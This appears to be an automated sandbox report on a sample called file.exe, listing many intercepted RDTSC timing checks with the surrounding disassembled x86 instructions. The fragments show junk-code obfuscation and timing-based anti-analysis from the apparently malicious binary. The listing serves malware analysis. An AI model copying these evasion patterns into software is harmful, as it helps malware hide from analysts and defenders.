Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E800AF second address: 4E800F7 instructions: 0x00000000 rdtsc 0x00000002 call 00007F8F08E6834Bh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ch, bh 0x0000000c popad 0x0000000d xchg eax, ecx 0x0000000e pushad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ebx 0x00000012 mov ebx, eax 0x00000014 popad 0x00000015 mov si, EBBBh 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F8F08E68351h 0x00000020 xchg eax, ecx 0x00000021 jmp 00007F8F08E6834Eh 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E800F7 second address: 4E800FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E800FB second address: 4E80101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80101 second address: 4E80110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08BF29CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80110 second address: 4E8019A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov si, 09F1h 0x0000000e mov eax, 735A542Dh 0x00000013 popad 0x00000014 xchg eax, ebx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F8F08E68356h 0x0000001c sbb ecx, 6096F7F8h 0x00000022 jmp 00007F8F08E6834Bh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F8F08E68358h 0x0000002e and cx, D258h 0x00000033 jmp 00007F8F08E6834Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov ebx, dword ptr [ebp+10h] 0x0000003d jmp 00007F8F08E68356h 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8019A second address: 4E8019E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8019E second address: 4E801A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801A4 second address: 4E801F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F8F08BF29D7h 0x00000010 xchg eax, esi 0x00000011 jmp 00007F8F08BF29D6h 0x00000016 mov esi, dword ptr [ebp+08h] 0x00000019 jmp 00007F8F08BF29D0h 0x0000001e xchg eax, edi 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801F7 second address: 4E801FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801FB second address: 4E80201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80201 second address: 4E802CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68354h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8F08E6834Bh 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 mov eax, 0A73629Bh 0x00000016 pushfd 0x00000017 jmp 00007F8F08E68350h 0x0000001c sbb ax, CD68h 0x00000021 jmp 00007F8F08E6834Bh 0x00000026 popfd 0x00000027 popad 0x00000028 test esi, esi 0x0000002a pushad 0x0000002b movzx ecx, di 0x0000002e pushfd 0x0000002f jmp 00007F8F08E68351h 0x00000034 add eax, 0BB96F86h 0x0000003a jmp 00007F8F08E68351h 0x0000003f popfd 0x00000040 popad 0x00000041 je 00007F8F7B7766DBh 0x00000047 jmp 00007F8F08E6834Eh 0x0000004c cmp dword ptr [esi+08h], DDEEDDEEh 0x00000053 jmp 00007F8F08E68350h 0x00000058 je 00007F8F7B7766C6h 0x0000005e pushad 0x0000005f mov si, 7CEDh 0x00000063 mov dx, cx 0x00000066 popad 0x00000067 mov edx, dword ptr [esi+44h] 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F8F08E6834Bh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802CA second address: 4E8033F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d pushad 0x0000000e call 00007F8F08BF29CAh 0x00000013 pop eax 0x00000014 mov cx, di 0x00000017 popad 0x00000018 pushfd 0x00000019 jmp 00007F8F08BF29D7h 0x0000001e add ax, 1EDEh 0x00000023 jmp 00007F8F08BF29D9h 0x00000028 popfd 0x00000029 popad 0x0000002a test edx, 61000000h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8033F second address: 4E80352 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E6834Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80352 second address: 4E80358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80358 second address: 4E8035C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8035C second address: 4E80360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E707E8 second address: 4E707FD instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx esi, dx 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, 752Ch 0x00000012 push ebx 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E707FD second address: 4E7085C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov edx, ecx 0x0000000f pushad 0x00000010 mov di, ax 0x00000013 mov ebx, esi 0x00000015 popad 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a movzx ecx, di 0x0000001d mov esi, ebx 0x0000001f popad 0x00000020 and esp, FFFFFFF8h 0x00000023 pushad 0x00000024 mov bx, AC66h 0x00000028 mov cx, di 0x0000002b popad 0x0000002c push ebp 0x0000002d jmp 00007F8F08BF29D6h 0x00000032 mov dword ptr [esp], ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F8F08BF29D7h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7085C second address: 4E70890 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F8F08E68355h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8F08E68353h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70890 second address: 4E708BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8F08BF29CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E708BF second address: 4E708C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E708C5 second address: 4E708C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E708C9 second address: 4E708CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E708CD second address: 4E708DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E708DE second address: 4E708E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E708E4 second address: 4E7092D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8F08BF29D9h 0x00000008 pushfd 0x00000009 jmp 00007F8F08BF29D0h 0x0000000e adc cx, 4B18h 0x00000013 jmp 00007F8F08BF29CBh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c sub ebx, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7092D second address: 4E7093D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E6834Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7093D second address: 4E70965 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8F08BF29D5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70965 second address: 4E709A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8F08E68357h 0x00000009 adc esi, 6C22C29Eh 0x0000000f jmp 00007F8F08E68359h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E709A2 second address: 4E709CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007F8F7B5083ABh 0x0000000d jmp 00007F8F08BF29CCh 0x00000012 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push edi 0x0000001d pop ecx 0x0000001e push edx 0x0000001f pop ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E709CA second address: 4E70A0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68352h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8F08E6834Dh 0x00000014 xor ch, FFFFFFE6h 0x00000017 jmp 00007F8F08E68351h 0x0000001c popfd 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A0B second address: 4E70A35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 push eax 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F8F7B508353h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8F08BF29D7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A35 second address: 4E70A4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 movsx edx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [77816968h], 00000002h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 mov di, ax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A4D second address: 4E70A75 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov esi, 3A5B42ADh 0x0000000b popad 0x0000000c jne 00007F8F7B508323h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8F08BF29D2h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A75 second address: 4E70A7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A7B second address: 4E70A81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A81 second address: 4E70AA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F8F08E68354h 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70AA8 second address: 4E70AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70AAD second address: 4E70AE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68354h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8F08E68351h 0x00000011 jmp 00007F8F08E6834Bh 0x00000016 popfd 0x00000017 push eax 0x00000018 push edx 0x00000019 mov al, DDh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70AE9 second address: 4E70B6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8F08BF29D3h 0x00000010 or esi, 6244A85Eh 0x00000016 jmp 00007F8F08BF29D9h 0x0000001b popfd 0x0000001c mov edi, ecx 0x0000001e popad 0x0000001f pushad 0x00000020 call 00007F8F08BF29CAh 0x00000025 pop esi 0x00000026 push edi 0x00000027 pop ecx 0x00000028 popad 0x00000029 popad 0x0000002a push esi 0x0000002b pushad 0x0000002c movzx eax, dx 0x0000002f mov dl, DBh 0x00000031 popad 0x00000032 mov dword ptr [esp], ebx 0x00000035 pushad 0x00000036 mov eax, 37A3CB59h 0x0000003b mov edi, esi 0x0000003d popad 0x0000003e push dword ptr [ebp+14h] 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F8F08BF29D7h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BA5 second address: 4E70BF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8F08E6834Bh 0x00000008 mov ah, 95h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop esi 0x0000000e jmp 00007F8F08E6834Bh 0x00000013 pop ebx 0x00000014 jmp 00007F8F08E68356h 0x00000019 mov esp, ebp 0x0000001b pushad 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F8F08E68352h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BF4 second address: 4E70BFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BFA second address: 4E70BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BFE second address: 4E70C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80DC2 second address: 4E80DC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80DC8 second address: 4E80DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B03 second address: 4E80B1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68353h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B1A second address: 4E80B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B20 second address: 4E80B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B24 second address: 4E80B39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8F08BF29CAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B39 second address: 4E80B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B3F second address: 4E80B64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov di, si 0x00000011 mov cx, 9DFFh 0x00000015 popad 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B64 second address: 4E80B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B68 second address: 4E80B7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F006F2 second address: 4F006F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F006F6 second address: 4F00704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00704 second address: 4F0070A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0811 second address: 4EF0817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0817 second address: 4EF083C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 5201h 0x00000007 movzx eax, di 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8F08E68355h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF083C second address: 4EF0842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0842 second address: 4EF0846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0846 second address: 4EF08BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f mov esi, 1E02E0CBh 0x00000014 pushfd 0x00000015 jmp 00007F8F08BF29D0h 0x0000001a sub si, A3D8h 0x0000001f jmp 00007F8F08BF29CBh 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov eax, ebx 0x0000002d pushfd 0x0000002e jmp 00007F8F08BF29D7h 0x00000033 jmp 00007F8F08BF29D3h 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08BF second address: 4EF08D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08E68354h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08D7 second address: 4EF08E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF08E6 second address: 4EF08EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF068C second address: 4EF0692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0692 second address: 4EF0696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9020A second address: 4E9020F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0B4B second address: 4EF0B92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8F08E68352h 0x00000011 sbb si, 5028h 0x00000016 jmp 00007F8F08E6834Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8F08E68356h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0B92 second address: 4EF0C6A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8F08BF29D8h 0x00000010 jmp 00007F8F08BF29D5h 0x00000015 popfd 0x00000016 mov bl, ch 0x00000018 popad 0x00000019 pushfd 0x0000001a jmp 00007F8F08BF29CDh 0x0000001f or al, 00000006h 0x00000022 jmp 00007F8F08BF29D1h 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c mov dx, ax 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F8F08BF29D6h 0x00000036 or ecx, 54375CD8h 0x0000003c jmp 00007F8F08BF29CBh 0x00000041 popfd 0x00000042 popad 0x00000043 popad 0x00000044 push dword ptr [ebp+0Ch] 0x00000047 jmp 00007F8F08BF29D2h 0x0000004c push dword ptr [ebp+08h] 0x0000004f pushad 0x00000050 mov bl, al 0x00000052 jmp 00007F8F08BF29D3h 0x00000057 popad 0x00000058 push 298340BBh 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 mov edi, ecx 0x00000062 jmp 00007F8F08BF29CCh 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0542 second address: 4EA0548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0673 second address: 4EA0679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0679 second address: 4EA067D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA067D second address: 4EA06B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 631A4C8Dh 0x0000000d jmp 00007F8F08BF29D9h 0x00000012 add dword ptr [esp], 145C6173h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8F08BF29CDh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA06B9 second address: 4EA06BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
